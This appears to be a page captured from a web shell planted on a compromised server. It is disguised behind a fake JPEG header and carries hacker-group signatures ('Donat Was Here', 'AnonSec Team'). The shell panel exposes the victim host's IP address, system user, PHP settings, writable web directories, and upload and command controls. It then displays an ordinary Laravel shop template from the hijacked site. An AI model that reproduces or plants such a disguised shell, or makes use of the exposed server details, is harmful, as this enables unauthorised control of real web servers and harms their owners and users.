JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/vaoday/resources/views/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/vaoday/resources/views/templates/combo.blade.php
@extends('index')

@section('content')

<?php



    $setting = Cache::get('setting');

     if(!empty($_SESSION['lang'])){

        if(!empty($_SESSION)) 

        $a = $_SESSION['lang'];

        else

        $a = 'en';

    } else{

       $a = 'en';  

    }

?>

  <section class="vk-content">

        <div class="vk-banner vk-background--image-3">

            <div class="container">

                <div class="vk-banner__content">

                     <div class="vk-banner__logo">

                        <a href="{{ url('/') }}" title="">

                            <img src="{{ asset('upload/hinhanh/'.$setting->images2) }}"  alt="Logo" />

                        </a>

                    </div> <!--./logo-->

                    <h2 class="vk-banner__heading text-uppercase"><span>{!! $a == 'vi' ? "Giỏ hàng" : "shopping cart" !!}</span></h2>

                </div>



            </div>







            <div class="vk-breadcrumb vk-banner__breadcrumb">



                <nav class="container">



                    <ul class="vk-list vk-list--inline vk-breadcrumb__list">



                        <li class="vk-list__item"><a href="{{ url('/') }}">{!! $a == 'vi' ? "Trang chủ" : "Home" !!}</a></li>







                        <li class="vk-list__item active">combo</li>



                    </ul>



                </nav>



            </div>



        </div>











        <!--./vk-banner-->











        <div class="vk-page vk-page--shop">



            <div class="container">



                <div class="vk-shop__list row">



                    <?php foreach($combo as $rows){



                        $product=DB::table("products")->select('id','price')->where('combo_id',$rows->id)->get();



                    ?>



                        



                    <div class="col-md-6 col-lg-4 _item">



                        <div class="vk-shop-item">



                            <div class="vk-img vk-img--mw100">



                                <a href="{{ asset('com-bo/'.$rows->alias.'.html') }}" title="{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}" class="vk-img__link">



                                    <img src="{{ asset('upload/combo/'.$rows->images)}}" alt="{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}" class="vk-img__img">



                                </a>



                            </div>



                            <div class="vk-shop-item__brief">



                                <div class="vk-rate vk-text--white">



                                     <?php 

                                        if($rows->hit!=0){

                                            $ratehit=$rows->score/$rows->hit;

                                        }else{

                                            $ratehit=5;

                                        }

                                    ?>

                                    <script type="text/javascript">

                                        var base_url = '{!! asset('/') !!}';

                                        $(function() {

                                            $('div#rate3{{ $rows->id }}').raty({

                                                start:    {{ $ratehit }},

                                                scoreName: 'general-score',

                                                onClick: function(score) {

                                                    $.ajax({

                                                        url: base_url + 'rate-combo/'+{{$rows->id}}+'/'+score,

                                                        success: function(res){

                                                            if(res=='1'){

                                                              <?php if( $a == 'vi'){?>  

                                                                alert("Cảm ơn bạn đã đánh giá sản phẩm này !");

                                                              <?php } else {?>

                                                                alert("Thank you for your review of this product !");

                                                              <?php } ?>  

                                                            }

                                                        }

                                                    });

                                                  }

                                            });

                                        });

                                    </script>

                                    <h4 class="pro-detail-point">

                                            <div id="rate3{{ $rows->id }}" class="score"></div>

                                    </h4>



                                </div>



                                <div class="vk-shop-item__wrapper">



                                    <h3 class="vk-shop-item__title"><a href="{{ url('com-bo/'.$rows->alias.'.html') }}" title="{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}">{!! $a == 'vi' ? $rows->name : $rows->name_eg !!}</a></h3>



                                    <p class="vk-shop-item__price vk-text--red-1">



                                    <?php

                                       $number=0;  

                                       $product=DB::table("products")->select('id')->where('combo_id',$rows->id)->get();

                                       foreach($product as $item_pro){

                                           @$price=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$item_pro->id)->orderBy('price','DESC')->get();

                                            foreach($price as $item_size){

                                                @$size=DB::table('sizes')->select()->where('id',$item_size->size_id)->orderBy('id','ASC')->first();

                                                if(@$item_size->size_id == @$size->id && $item_size->price > 0){ 

                                                $number+=$item_size->price;

                                            }}

                                      }      

                                    ?>

                                 

                                    <?php echo number_format($number)?> 

                                    

                                    </p>



                                </div>







                            </div>



                        </div> <!--./vk-shop-item-->



                    </div>



                    <?php } ?>



          



                </div>



                 

                  <nav id="pagina_nx" class="vk-pagination">

                    <?php echo $combo->links();?>  

                </nav>  

                 <div style="clear: both;"></div> 



            </div>



        </div><!--./page-->







    </section>



    <!--./content-->



@endsection




Anon7 - 2022
AnonSec Team